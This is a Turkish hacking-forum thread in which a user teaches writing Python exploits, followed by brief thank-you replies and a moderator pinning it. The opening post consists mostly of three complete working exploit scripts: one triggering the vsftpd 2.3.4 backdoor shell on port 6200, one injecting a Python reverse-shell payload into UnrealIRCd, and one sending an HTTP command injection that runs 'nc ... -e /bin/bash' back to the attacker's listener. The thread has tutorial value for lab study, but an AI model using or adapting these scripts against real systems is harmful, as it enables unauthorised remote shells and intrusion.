İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

Python ile Exploit Yazmak

Belvando - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Nereden:
Mantı V2
Mesajlar:
239
Konular:
34
Teşekkür (Etti):
59
Teşekkür (Aldı):
201
Ticaret:
(0) %
05-06-2018 16:56
#1
Python ile Exploit Yazmak
Yeniden uzun bir konu ile merhabalar
Bugün sizlere python ile internet tabanlı exploit yazmayı anlatmaya çalışacağım.
Bunun içinde en sık örnek gösterilen 3 farklı açıktan yararlanacağım.


İsterseniz konuya giriş yapalım.

İnternet tabanlı bir exploit yazmak istiyorsak en başta network programlamayı bilmemiz gerekmekte.
Python ile network programlamada socket modülü kullanılmaktadır.
Socket üzerindeki belli parametreler.

Kod:
socket.AF_INET   : Yapılacak bağlantıyı IPv4 üzerinden yapmayı sağlar.
socket.AF_INET6  : Yapılacak bağlantıyı IPv6 üzerinden yapmayı sağlar.
socket.SOCK_STREAM  : Yapılacak bağlantıda TCP protokolünün kullanılmasını sağlar.
socket.SOCK_DGRAM  : Yapılacak bağlantıda UDP protokolünün kullanılmasını sağlar.

socket.connect((h,p))  : Belirtilen IP adresine bağlanır.(Kullanıcı)
socket.bind((h,p))  : Belirtilen IP ile portu dinlemeye alır.(Sunucu)
socket.listen()  : Dinlemeye alınan adrese bağlanacak sayıyı kararlar.
socket.accept()  : Bağlantı kurmak isteyen kişileri kabul eder.
socket.send()  : Bağlantı kurulan kişiye veri yollanır.
socket.recv()  : Bağlantıdan gelecek olan cevabı alır.
Bu parametreler ile temel bir bağlantı kurulup iletişime geçilebilir.

Zaten yazacağımız exploitlerde çok temel düzeyde olacağı için bu parametreler yeterli olacaktır.


Vsftpd 2.3.4

Vsftpd açığını seçmemin temel iki nedeni var:
1- En fazla örnek exploiting işleminin kendi üzerinde geçmesinden dolayı.
2- Yapılacak olan bağlantıda herhangi bir handler bulunmaması.

Açığı istismar etmenin yolu ise, kullanıcıya yönelttiği kullanıcı adı sorusuna verilen cevabın sonuna kaçış parametresi olaraktan "" getirerek 6200 portunda bir shell açılması sağlanıyor.
Bu işlem için yazdığım kod ise şu:
Kod:
01| from socket import *
02| import sys
03| 
04| aux = socket(AF_INET,SOCK_STREAM)
05| host = sys.argv[1]
06| port = int(sys.argv[2])
07| 
08| 
09| aux.connect((host,port))
10| head = aux.recv(1024).strip()
11| if "(vsFTPd 2.3.4)" in head:
12|     aux.send("USER something:)\n")
13|     aux.recv(1024)
14|     aux.send("PASS againsomething\n")
15|     aux.close()
16|     print "My man! This port has got a vull.\n"
17| else:
18|     print "Sorry dude:( This is a normal port\n"
19|     exit()
20| 
21|
22| exp = socket(AF_INET,SOCK_STREAM)
23| 
24| exp.connect((host,6200))
25| while True:
26|     com = raw_input("#")     
27|     if com == "exit":
28|         exp.close()
29|         exit()
30|     exp.send(com + "\n")
31|     print exp.recv(1024)


Scriptin ilk 2 kısmında çalıştırılması için hazırlanan socket ve sys modülleri çağırılmış.
4. satırda yapılacak bağlantının TCP ve IPv4 üzerinde olacağı ve scripti kısa tutmak içinde aux olarak bir değişken vermiş.
5. ve 6. kısımda ise kulanıcıdan istenilen host ve port parametrelerini alacağı şekil kararlanmış.
9. satırda belirtilen IP adresi ile porta bağlanılmış. Artık tüm aux değişkenine sahip parametreler bu bağlantı üzerinden işlemlerini yapacak.
10., 11. ve 17. kısımda ise bağlanılan portun kontrolü yapılmakta.
12. satırda gönderilen veri ile kaçış parametresinide yollayıp exploiting işleminin ilk adımı yapıldı.
13. satırda gelicek olan paketi alarak işleme devam ediliyor.
14. ve 15. satırda son dokunuşu yapıp bağlantıdan çıkılıyor.
22. satırda yeni değişken ile koda bakıldığında daha anlaşılır bir görüntü olması adına 4. satırdaki gibi değişken veriliyor.
25. satırda bağlantının gerçekleşmesi durumunda kendi içerisinden çıkış yapılmadığı sürece devam edecek bir while döngüsü açılıyor.
26. satırda hackerdan gönderilmek istenilen veri isteniyor.
28. satırda rahatlık açısından hızlı bir çıkış işlemi anlatılıyor.
32. satırda girilen veri karşı tarafa yollanılıyor.
33. satırda gönderilen veriye karşılık olaraktan cevap geliyor ve yeniden 26. satıra geçiş yapılıyor.


.:Hacker abimizin gördüğü:.




.:Ağda olan bitenler:.






Unreal IRC

Kolay bir açık olmasının yanı sıra exloiting için bir handler kullanabileceğimiz bir açık olmasından dolayı bu açığı tercih ettim.

Açığı istismar etmek için ise, bağlantı gerçekleştikten sonra bize yollanan paketleri aldıktan sonra bizden beklenen cevabı "AB;" kaçış parametresiyle istismar ettirip sonrasında istediğimiz kodu yazabiliriz.
Bu işlem için şu scripti yazdım:

Kod:
01| from socket import *
02| import sys
03| 
04| thost, tport = sys.argv[1], int(sys.argv[2])
05| lhost = '"'+ sys.argv[3] +'"'
06| 
07| 
08| fir = socket(AF_INET,SOCK_STREAM)
09| 
10| fir.connect((thost,tport))
11| payload = """AB;python -c 'import socket,subprocess,os;pay=socket.socket(socket.AF_INET,socket.SOCK_STREAM);pay.connect((""" + lhost + """,4444));os.dup2(pay.fileno(),0); os.dup2(pay.fileno(),1); os.dup2(pay.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" 
12| fir.send(payload)
13| fir.recv(1024)
14| 
15| 
16| han = socket(AF_INET,SOCK_STREAM)
17| 
18| han.bind(("",4444))
19| han.listen(1)
20| fir.close()
21| cl = han.accept()
22| print cl.recv(1024)
23| while True:
24|     sh = cl.recv(1024)
25|     send = raw_input(sh)
26|     if send == "exit":
27|         han.close()
28|         exit()
29|     cl.send(send + "\n")
30|     data = cl.recv(1024)
31|     print data


Başkısımlarda önceki exploitteki işlemlerin aynısı yapılmış.
11. satırda bağlantı kurulduktan sonra gönderilecek olan payload modülü tanımlanmış. Modül python ile yazılmış olup amacı hackerın 4444 nolu portuna sh(ell) ile bağlanmak. Bunun içinde ilk kısmında AB; kaçış parametresi görünmekte.
12. satırda payload gönderiliyor.
13. satırda sunucunun kalbini kırmamak için cevap paketi alınıyor ancak hackera sunulmuyor.
18. satırda sunucu tarafından gelecek olan shell bağlantısını yakalayabilmek için bir dinleme portu açılıyor.
19. satırda bağlanacak kullanıcı sayısının 1 cihaz olması isteniyor.
20. satırda önceki payload gönderilen bağlantının bitirilmesi isteniyor.
21. satırda gelecek olan kullanıcının cl adlı değişkene atanması kararlanıyor.
23. satırda bağlantı olması halinde çalışan while döngüsü bulunmakta.

Geri kalan kısım önceki exploit ile aynı işlemi yapmakta.

.:Hacker abimiz ne görüyor?:.




.:Wireshark ne görüyor?:.



Command Injection

Bu açığı seçmemin de iki nedeni var:
1- HTTP temeline sahip bir açık olması ve buna göre exploit yazılmasından dolayı.
2- HTTP ile çok fazla açık var ve hepsi birbirine benzediği için tembelliğimi kullanarak bu açığı seçtim.

Açığı istismar etmenin yolu, Command Injectionda sizden bir veri ister ve bu veriyi komut satırında çalıştırıp size çıktısını sunar, eğer kaçış dizini olarak "|" parametresini kullanırsanız sonrasında yazdığınız komut çalışır.
Bu işlemi yapmak için şu scripti yazdım:

Kod:
01| from socket import *
02| import sys
03| 
04| con = socket(AF_INET,SOCK_STREAM)
05| han = socket(AF_INET,SOCK_STREAM)
06| rhost, url, lhost = sys.argv[1], sys.argv[2], sys.argv[3]
07| 
08| con.connect((rhost,80))
09| payload = "GET "+ url +"|%20nc%20"+ lhost +"%204444%20-e%20/bin/bash HTTP/1.1\nHost: "+ rhost +"\n\n"
10| han.bind(("",4444))
11| han.listen(1)
12| con.send(payload)
13| 
14| cl = han.accept()
15| while True:
16|     send = raw_input("==>")
17|     cl.send(send + "\n")
18|     data = cl.recv(1024)
19|     print(data)

İlk kısımlar yine diğer exploitler ile aynı işlemi yapıyor.
9. satırda HTTP portuna bir HTTP isteğinde bulunuyoruz. Gönderilen isteke içerisinde command injection yapacak olan komutta bulunmakta.(| nc [IP adresi] [port] -e /bin/bash)
10-12. satırlarında dinleme işlemi başlatılıp bypass kodunu içeren istek yollanıyor.

Geri kalan kısımlar diğer exploitler ile aynı.(Umarım fark etmişsinizdir.)

.:Hacker bey ekrana bakarken:.




.:Wireshark kahvesini yudumluyor:.




Konumu okuduğunuz için teşekkür ederim.
Mutlaka hatam vardır, pythonda uzman biri değilim.
İyi forumlar dilerim.
---------------------
Bastığın yerleri 'toprak' diyerek geçme, tanı!
Düşün altındaki binlerce kefensiz yatanı.
Sen şehit oğlusun, incitme, yazıktır atanı;
Verme, dünyaları alsan da bu cennet vatanı.
Telegram: @belvando
Konu BufGix tarafından (07-06-2018 18:57 Saat 18:57 ) değiştirilmiştir.
ArViX - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2013
Nereden:
cos a=cos bc
Mesajlar:
1.255
Konular:
83
Teşekkür (Etti):
118
Teşekkür (Aldı):
264
Ticaret:
(0) %
05-06-2018 17:00
#2
Eline sağlık fakat fotoğraflar gözükmüyor
---------------------

Bilmediklerimi ayaklarımın altına alsaydım, başım göğe ererdi.
Evrimin bir parçasıyım, durmak bitmek demektir


8/N3n1K1/6B1/1Pk2p2/2b2P2/6P1/7P/8 b - -
Bertuğ Kağan - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2015
Nereden:
sanal tomb
Mesajlar:
1.875
Konular:
183
Teşekkür (Etti):
592
Teşekkür (Aldı):
441
Ticaret:
(0) %
05-06-2018 17:03
#3
bunun benzeri bir konu açacaktım gerek kalmadı
eline sağlık hocam
Belvando Teşekkür etti.
KoDa - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2016
Nereden:
127.0.0.1
Mesajlar:
1.438
Konular:
83
Teşekkür (Etti):
65
Teşekkür (Aldı):
147
Ticaret:
(0) %
05-06-2018 17:54
#4
Eline Sağlık Gerçekten Yararlı
--------------------- Biz Yaz Kış Yağmur Demeden Şafak Oparasyonuna Gider Gibi Uykudan Uyanıp Korkama Sönmez Bu Şafaklarda Yüzen Al Sancak ! Sönmeden Yurdumun Üstünde En Son Ocak ! Derken Taşşak Geçmiyorduk ...
v0rxa - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2018
Mesajlar:
959
Konular:
70
Teşekkür (Etti):
2
Teşekkür (Aldı):
156
Ticaret:
(0) %
05-06-2018 18:06
#5
Elinize Sağlık
Pentester - ait Kullanıcı Resmi (Avatar)
Researcher
Üyelik tarihi:
09/2016
Mesajlar:
1.169
Konular:
89
Teşekkür (Etti):
613
Teşekkür (Aldı):
485
Ticaret:
(0) %
05-06-2018 20:07
#6
Olayın mantığını anlatman harika olmuş, eline sağlık kanki.
---------------------
"Benim naçiz vücudum, bir gün elbet toprak olacaktır. Fakat Türkiye Cumhuriyeti, ilelebet payidar kalacaktır."
Mustafa Kemal ATATÜRK

Yapabildiğimiz her şeyi yapsaydık, buna kendimiz bile şaşardık.
Belvando Teşekkür etti.
BufGix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2015
Nereden:
Phobos/Space
Mesajlar:
1.023
Konular:
74
Teşekkür (Etti):
314
Teşekkür (Aldı):
446
Ticaret:
(0) %
07-06-2018 19:01
#7
Güzel anlatım ve özgün bir konu olduğu için sabite alıyorum. Eline sağlık.
---------------------
~Cahile gelmez benden hayır
Belvando Teşekkür etti.
Shadowfire - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
03/2018
Nereden:
KARANLIK
Mesajlar:
769
Konular:
130
Teşekkür (Etti):
48
Teşekkür (Aldı):
100
Ticaret:
(0) %
11-07-2018 07:57
#8
Eline sağlık hocam
mhmt44 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
04/2016
Mesajlar:
248
Konular:
80
Teşekkür (Etti):
45
Teşekkür (Aldı):
4
Ticaret:
(0) %
11-07-2018 11:01
#9
elinize sağlık."İnternet tabanlı" derken ne demek istediniz
TeamRound - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2018
Nereden:
PC
Mesajlar:
1.236
Konular:
86
Teşekkür (Etti):
388
Teşekkür (Aldı):
240
Ticaret:
(0) %
11-07-2018 11:43
#10
Elinize Sağlık
---------------------
Akıl ve mantığın halledemeyeceği mesele yoktur.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı